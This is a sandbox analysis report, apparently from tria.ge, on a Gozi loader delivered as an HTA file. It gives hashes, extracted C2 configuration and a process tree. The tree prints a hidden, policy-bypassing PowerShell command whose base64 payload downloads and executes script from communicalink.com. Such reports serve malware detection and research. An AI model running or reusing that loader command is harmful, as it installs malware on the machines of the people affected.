Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
140s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
06/10/2023, 12:47
Static task
static1
Behavioral task
behavioral1
Sample
client_1.hta
Resource
win7-20230831-en
General
-
Target
client_1.hta
-
Size
22KB
-
MD5
57d3eb665f1e9e6a19f278baabd49e7b
-
SHA1
44566a9d716e6abd0304544dd88d245fea990882
-
SHA256
4380de3cba18880ef72d2bc73ec84ee6f9f27b55d635a81ab8d40d488f59303d
-
SHA512
30a0a3349aa0b815728abdb0c770d65354cdcf68ca939de4c175bdb285e3d664d7afdddc4be91bae170a65e4f808e6de7cc877fa36442f64f7b7db993e83851d
-
SSDEEP
384:rO6BO5aa8mOFhyS1q5H8qxAt4VFhmqmfW9PW6vN1v35Zh5LaBY5E6bqBdOfF:4zS0kPWVN5LbtcOfF
Malware Config
Extracted
http://communicalink.com/index.php
Extracted
gozi
Extracted
gozi
5050
mifrutty.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 5 1048 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2824 sWgCOE.exe -
Loads dropped DLL 2 IoCs
pid Process 1048 powershell.exe 1048 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1048 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2444 wrote to memory of 2224 2444 mshta.exe 28 PID 2444 wrote to memory of 2224 2444 mshta.exe 28 PID 2444 wrote to memory of 2224 2444 mshta.exe 28 PID 2444 wrote to memory of 2224 2444 mshta.exe 28 PID 2224 wrote to memory of 1048 2224 cmd.exe 30 PID 2224 wrote to memory of 1048 2224 cmd.exe 30 PID 2224 wrote to memory of 1048 2224 cmd.exe 30 PID 2224 wrote to memory of 1048 2224 cmd.exe 30 PID 1048 wrote to memory of 2824 1048 powershell.exe 31 PID 1048 wrote to memory of 2824 1048 powershell.exe 31 PID 1048 wrote to memory of 2824 1048 powershell.exe 31 PID 1048 wrote to memory of 2824 1048 powershell.exe 31
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\client_1.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==2⤵
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Users\Admin\AppData\Local\Temp\sWgCOE.exe"C:\Users\Admin\AppData\Local\Temp\sWgCOE.exe"4⤵
- Executes dropped EXE
PID:2824
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
293KB
MD501435632dca9afc151eec77862bfbc2b
SHA19bbb4ae83131fafcd14d580810b14f48d2d30837
SHA2562adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40
SHA51261e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677
-
Filesize
293KB
MD501435632dca9afc151eec77862bfbc2b
SHA19bbb4ae83131fafcd14d580810b14f48d2d30837
SHA2562adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40
SHA51261e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677
-
Filesize
293KB
MD501435632dca9afc151eec77862bfbc2b
SHA19bbb4ae83131fafcd14d580810b14f48d2d30837
SHA2562adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40
SHA51261e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677
-
Filesize
293KB
MD501435632dca9afc151eec77862bfbc2b
SHA19bbb4ae83131fafcd14d580810b14f48d2d30837
SHA2562adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40
SHA51261e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677